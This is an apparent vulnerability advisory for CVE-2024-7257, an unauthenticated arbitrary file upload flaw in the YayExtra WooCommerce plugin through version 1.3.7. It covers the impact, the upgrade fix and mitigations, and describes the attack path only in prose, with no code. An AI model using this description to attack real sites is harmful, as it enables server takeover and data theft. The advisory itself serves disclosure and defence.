CVE-2024-7257
Overview
This vulnerability is an arbitrary file upload flaw caused by inadequate validation of file types in the handle_upload_file function within the YayExtra – WooCommerce Extra Product Options plugin for WordPress. The affected component fails to enforce restrictions on uploaded file extensions or content, allowing unfiltered input to be saved on the server. The issue exists in all plugin versions up to and including 1.3.7, specifically in the file upload handling mechanism.
Vulnerability Description
The YayExtra – WooCommerce Extra Product Options plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the handle_upload_file function in all versions up to, and including, 1.3.7. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can upload arbitrary files, including malicious scripts, to the affected web server, potentially leading to remote code execution. This requires no user interaction or authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). Successful exploitation can compromise the integrity and confidentiality of the web application, allowing full control over the server environment, data exfiltration, or service disruption.
Solution
Users should upgrade the YayExtra – WooCommerce Extra Product Options plugin to version 1.3.8 or later, where the file upload validation has been implemented. Detailed patch information and upgrade instructions are available in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/753a4f7a-7bd4-43a4-b8fb-9e982239ba0e) and the official plugin page (https://wordpress.org/plugins/yayextra/#developers). No known workarounds exist; timely patching is essential.

Full Analysis
The vulnerability in the YayExtra – WooCommerce Extra Product Options plugin for WordPress arises from inadequate validation of file types during the upload process. Specifically, the flaw exists within the handle_upload_file function, which fails to properly restrict the types of files that can be uploaded. This oversight allows unauthenticated users to upload arbitrary files to the server, potentially leading to severe consequences such as remote code execution. The absence of stringent checks means that attackers can exploit this vulnerability to upload malicious scripts or executables, which can then be executed on the server, compromising the integrity and confidentiality of the affected system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may craft a request that includes a malicious file disguised as a harmless document, such as a JPEG or PDF. By bypassing the file type validation, the attacker can upload this file to the server. Once the file is successfully uploaded, the attacker can access it via a web browser, triggering the execution of the malicious code. This scenario opens the door to a range of malicious activities, including data theft, website defacement, or the establishment of a backdoor for persistent access. The simplicity of the attack, combined with the lack of authentication requirements, significantly lowers the barrier for exploitation, making it a pressing concern for site administrators.
The real-world impact of this vulnerability is profound, particularly for e-commerce platforms relying on the WooCommerce ecosystem. A successful attack could lead to unauthorized access to sensitive customer data, including payment information and personal details, resulting in severe reputational damage and potential legal ramifications. Additionally, the operational disruption caused by such an incident can lead to significant financial losses, both from immediate remediation efforts and long-term customer trust erosion. Organizations may also face compliance issues, particularly if they handle sensitive data subject to regulations such as GDPR or PCI DSS, which mandate stringent data protection measures.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating plugins and themes to their latest versions is crucial, as developers often release patches to address known vulnerabilities. Employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Additionally, conducting regular security audits and vulnerability assessments can aid in identifying and addressing weaknesses within the system before they can be exploited. Implementing strict file type validation on the server side, regardless of the application’s built-in checks, can further bolster defenses against arbitrary file uploads.
In conclusion, the vulnerability present in the YayExtra – WooCommerce Extra Product Options plugin poses a significant threat to WordPress sites utilizing this tool. The potential for arbitrary file uploads without proper validation creates an avenue for attackers to execute malicious code, leading to severe consequences for businesses and their customers. By understanding the technical details, potential attack vectors, real-world impacts, and effective mitigation strategies, organizations can better prepare themselves to defend against such vulnerabilities and protect their digital assets.
